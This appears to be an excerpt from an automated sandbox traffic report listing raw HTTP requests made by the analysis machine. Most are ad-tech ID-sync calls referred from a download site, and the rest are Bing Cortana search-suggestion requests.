Source: global traffic	HTTP traffic detected: GET /k/155.gif?puid=AAFGGU7M2rcAABWAYHUUFw&id5AccountNum=155&numCascadesAllowed=9 HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#3; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; cf=gif; cip=102; cnac=4; car=5; gdpr=0\|
Source: global traffic	HTTP traffic detected: GET /sid/json?origin=prebid&topUrl=https%3A%2F%2Fdownload.oxy.st%2F&domain=download.oxy.st&cw=1&lsw=1 HTTP/1.1Host: gum.criteo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /genericpost HTTP/1.1Host: ww1097.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pid=7344472575877188506; TestIfCookieP=ok; csync=111:ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw; vs=471364=6024075; sasd2=q=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6&c=1&l&lo&lt=638540397164729742&o=1; sasd=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6
Source: global traffic	HTTP traffic detected: GET /g/v2/12.json HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b; cf=gif; cip=102; cnac=4; car=5; gdpr=0\|; id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#4; id5_unrecognized=1
Source: global traffic	HTTP traffic detected: GET /check_uuid/https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F104%2F3%2F6.gif%3Fpuid%3D%24%7BBSW_UUID%7D%26gdpr%3D0%26gdpr_consent%3D?gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ul_cb/check_uuid/https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F104%2F3%2F6.gif%3Fpuid%3D%24%7BBSW_UUID%7D%26gdpr%3D0%26gdpr_consent%3D?gdpr=0&gdpr_consent= HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=17287f0b-6066-405e-9adb-2134fa1669ab; c=1718442918; tuuid_lu=1718442918
Source: global traffic	HTTP traffic detected: GET /c/102/104/3/6.gif?puid=17287f0b-6066-405e-9adb-2134fa1669ab&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#4; id5_unrecognized=1; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw
Source: global traffic	HTTP traffic detected: GET /c/102/10/2/7.gif?puid=3883899461399649905&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#4; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw
Source: global traffic	HTTP traffic detected: GET /match?gdpr=0&gdpr_consent=&bid=1mpr7m0&r=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F123%2F1%2F8.gif%3Fpuid%3D%7BUUID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ps.eyeota.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /match/bounce/?gdpr=0&gdpr_consent=&bid=1mpr7m0&r=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F123%2F1%2F8.gif%3Fpuid%3D%7BUUID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ps.eyeota.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mako_uid=1901b2e2065-81f0000010f449d; SERVERID=17565~DM
Source: global traffic	HTTP traffic detected: GET /c/102/123/1/8.gif?puid=1901b2e2065-81f0000010f449d&gdpr=0&gdpr_consent= HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#4; 3pi=2#1718442913355#-181109863#2348066295523201724\|102#1718442909140#-2041121598\|264#1718442911169#58598678#7a9427d7-5567-4b13-ad78-e53aa5bc8a0b\|104#1718442921321#42930013#17287f0b-6066-405e-9adb-2134fa1669ab\|10#1718442924824#656917855#3883899461399649905\|155#1718442917539#959485646#AAFGGU7M2rcAABWAYHUUFw
Source: global traffic	HTTP traffic detected: GET /id5/1/get?gdpr=0&gdpr_consent=&_url=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F112%2F0%2F9.gif%3Fpuid%3D%24%7BUIPID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id5/1/get?gdpr=0&gdpr_consent=&_url=https%3A%2F%2Fid5-sync.com%2Fc%2F102%2F112%2F0%2F9.gif%3Fpuid%3D%24%7BUIPID%7D%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metric?s=85433&f=28&fi=1 HTTP/1.1Host: metrics.biddertmz.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://download.oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://download.oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metric?s=85433&f=28&fi=1 HTTP/1.1Host: metrics.biddertmz.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /genericpost HTTP/1.1Host: ww1097.smartadserver.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pid=7344472575877188506; TestIfCookieP=ok; csync=111:ID5-9436e49rFW4Sv3laxZZf1y8h5M2GqW4XpxTTXlEEAw; vs=471364=6024075; sasd2=q=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6&c=1&l&lo&lt=638540397164729742&o=1; sasd=%24qc%3D1500001818%3B%24ql%3DHigh%3B%24qpc%3D76540%3B%24qt%3D152_507_30917t%3B%24dma%3D625%3B%24qo%3D6
Source: global traffic	HTTP traffic detected: GET /manifest/threshold.appcache HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitOrigin: https://www.bing.comAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/17/jnc,nj/6hU_LneafI_NFLeDvM367ebFaKQ.js?bu=DygxdoIBhQGIAX95fLsBvgExrgExwQE&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/1a/cir3,ortl,cc,nc/oT6Um3bDKq3bSDJ4e0e-YJ5MXCI.css?bu=B68CP54ChwFZWbkC&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/1a/cir3,ortl,cc,nc/uANxnX_BheDjd2-cdR8N9DEWlds.css?bu=C8oIhQP7A6IJiwj1B6oGWVlZWQ&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=te&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=2&cvid=0e60eec8f25c487eaf36674a7ea70fdf&ig=1cd35b04f7aa4a859a32a2787f78b8ed HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=t&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=1&cvid=0e60eec8f25c487eaf36674a7ea70fdf&ig=7ee082cf366c4602af8b25fde8d8c41c HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=te%2C&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=3&cvid=0e60eec8f25c487eaf36674a7ea70fdf&ig=676b8851937e466cbfb5f92caed79038 HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: /Accept-Language: en-CHX-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStoreX-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2X-MSEdge-ExternalExpType: JointCoordAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/3J/ortl,cc,nc/4-xJy3tX6bM2BGl5zKioiEcQ1TU.css?bu=A4gCjAKPAg&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /th?id=OSK.2404423f2bb3a03f27d1a0a4d0a40e0d&w=80&h=80&qlt=90&c=6&rs=1&cdv=1&pid=RS HTTP/1.1Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5Accept-Language: en-CHAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: www.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
Source: global traffic	HTTP traffic detected: GET /rb/6q/cir3,ortl,cc,nc/9O7wsbk7fnvq75SUj-7m9vqGpmw.css?bu=MbwKtgrCCrYKpgu2CqwLtgq0C7YKuwu2CsELtgrHC7YKzQu2CtQKtgraCrYKzgq2CrYKnQu2CukKtgrvCrYK4wq2CrYK_wqCC7YKtgqaC4gLtgqOC5ELtgr2C7YK0wu2CqQM&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/6q/ortl,cc,nc/G6CsCraoYcD6qY8uGndwq5zbkCc.css?bu=CZEMtgqWDLYKmgy2CrYKtgq2Cg&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
Source: global traffic	HTTP traffic detected: GET /rb/6q/ortl,cc,nc/QNBBNqWD9F_Blep-UqQSqnMp-FI.css?bu=AbYK&or=w HTTP/1.1Accept: /Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: r.bing.comConnection: Keep-AliveCookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=17796e20&IPMID=1707317782133
